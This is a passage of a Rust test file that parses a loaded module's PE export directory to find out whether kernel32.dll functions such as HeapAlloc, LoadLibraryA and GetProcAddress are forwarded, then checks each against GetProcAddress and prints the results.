   1792         #[repr(C)]
   1793         #[allow(non_snake_case)]
   1794         struct IMAGE_EXPORT_DIRECTORY {
   1795             Characteristics: u32,
   1796             TimeDateStamp: u32,
   1797             MajorVersion: u16,
   1798             MinorVersion: u16,
   1799             Name: u32,
   1800             Base: u32,
   1801             NumberOfFunctions: u32,
   1802             NumberOfNames: u32,
   1803             AddressOfFunctions: u32,
   1804             AddressOfNames: u32,
   1805             AddressOfNameOrdinals: u32,
   1806         }
   1807 
   1808         unsafe fn check_if_forwarded(
   1809             module_base: *mut winapi::ctypes::c_void,
   1810             function_name: &str,
   1811         ) -> (bool, Option<String>) {
   1812             if module_base.is_null() {
   1813                 return (false, None);
   1814             }
   1815 
   1816             let dos_header = module_base as *const IMAGE_DOS_HEADER;
   1817             if (*dos_header).e_magic != 0x5A4D {
   1818                 return (false, None);
   1819             }
   1820 
   1821             let nt_headers = (module_base as *const u8).offset((*dos_header).e_lfanew as isize)
   1822                 as *const IMAGE_NT_HEADERS64;
   1823             if (*nt_headers).Signature != 0x4550 {
   1824                 return (false, None);
   1825             }
   1826 
   1827             let export_dir_rva = (*nt_headers).OptionalHeader.DataDirectory[0].VirtualAddress;
   1828             let export_dir_size = (*nt_headers).OptionalHeader.DataDirectory[0].Size;
   1829             if export_dir_rva == 0 {
   1830                 return (false, None);
   1831             }
   1832 
   1833             let export_dir = (module_base as *const u8).offset(export_dir_rva as isize)
   1834                 as *const IMAGE_EXPORT_DIRECTORY;
   1835 
   1836             let num_names = (*export_dir).NumberOfNames;
   1837             let addr_of_names = (module_base as *const u8)
   1838                 .offset((*export_dir).AddressOfNames as isize)
   1839                 as *const u32;
   1840             let addr_of_functions = (module_base as *const u8)
   1841                 .offset((*export_dir).AddressOfFunctions as isize)
   1842                 as *const u32;
   1843             let addr_of_name_ordinals = (module_base as *const u8)
   1844                 .offset((*export_dir).AddressOfNameOrdinals as isize)
   1845                 as *const u16;
   1846 
   1847             let target_bytes = function_name.as_bytes();
   1848 
   1849             for i in 0..num_names {
   1850                 let name_rva = *addr_of_names.offset(i as isize);
   1851                 let name_ptr = (module_base as *const u8).offset(name_rva as isize);
   1852 
   1853                 let mut match_found = true;
   1854                 let mut j = 0;
   1855                 while j < target_bytes.len() {
   1856                     if *name_ptr.offset(j as isize) != target_bytes[j] {
   1857                         match_found = false;
   1858                         break;
   1859                     }
   1860                     j += 1;
   1861                 }
   1862 
   1863                 if match_found && *name_ptr.offset(j as isize) == 0 {
   1864                     let ordinal = *addr_of_name_ordinals.offset(i as isize);
   1865                     let func_rva = *addr_of_functions.offset(ordinal as isize);
   1866 
   1867                     if func_rva >= export_dir_rva && func_rva < export_dir_rva + export_dir_size {
   1868                         let forward_str_ptr = (module_base as *const u8).offset(func_rva as isize);
   1869                         let mut forward_str = Vec::new();
   1870                         let mut k = 0;
   1871                         loop {
   1872                             let byte = *forward_str_ptr.offset(k);
   1873                             if byte == 0 {
   1874                                 break;
   1875                             }
   1876                             forward_str.push(byte);
   1877                             k += 1;
   1878                             if k > 256 {
   1879                                 break;
   1880                             }
   1881                         }
   1882                         if let Ok(fwd_string) = std::str::from_utf8(&forward_str) {
   1883                             return (true, Some(fwd_string.to_string()));
   1884                         }
   1885                     }
   1886                     return (false, None);
   1887                 }
   1888             }
   1889 
   1890             (false, None)
   1891         }
   1892 
   1893         unsafe {
   1894             println!("\n=== Testing Forwarded Exports Resolution ===\n");
   1895 
   1896             let kernel32_dll = CString::new("kernel32.dll").unwrap();
   1897             let kernel32_base = GetModuleHandleA(kernel32_dll.as_ptr() as *const u8);
   1898             assert!(!kernel32_base.is_null(), "Failed to get kernel32.dll");
   1899 
   1900             println!("[Forwarded Test] kernel32.dll base: {:p}\n", kernel32_base);
   1901 
   1902             let test_functions = vec![
   1903                 ("HeapAlloc", false),
   1904                 ("LoadLibraryA", false),
   1905                 ("GetProcAddress", false),
   1906             ];
   1907 
   1908             for (func_name, _should_be_forwarded) in test_functions {
   1909                 println!("[Forwarded Test] Checking function: {}", func_name);
   1910 
   1911                 let (is_forwarded, forward_target) = check_if_forwarded(kernel32_base, func_name);
   1912 
   1913                 if is_forwarded {
   1914                     if let Some(target) = forward_target {
   1915                         println!(
   1916                             "[Forwarded Test]   {} is FORWARDED to: {}",
   1917                             func_name, target
   1918                         );
   1919                     }
   1920                 } else {
   1921                     println!("[Forwarded Test]   {} is NOT forwarded", func_name);
   1922                 }
   1923 
   1924                 let c_func_name = CString::new(func_name).unwrap();
   1925                 let expected_addr =
   1926                     GetProcAddress(kernel32_base, c_func_name.as_ptr() as *const u8);
   1927 
   1928                 assert!(
   1929                     !expected_addr.is_null(),
   1930                     "GetProcAddress failed to find {}",
   1931                     func_name
   1932                 );
   1933 
   1934                 println!("[Forwarded Test]   Expected address: {:p}\n", expected_addr);
   1935             }
   1936 
   1937             println!(
   1938                 "[Forwarded Test] Note: Windows may or may not forward these specific functions"
   1939             );
   1940             println!("[Forwarded Test] The important thing is that our implementation can handle both cases\n");
   1941 
   1942             println!("=== Forwarded Exports Resolution Test Completed! ===\n");
   1943         }
   1944     }
   1945 }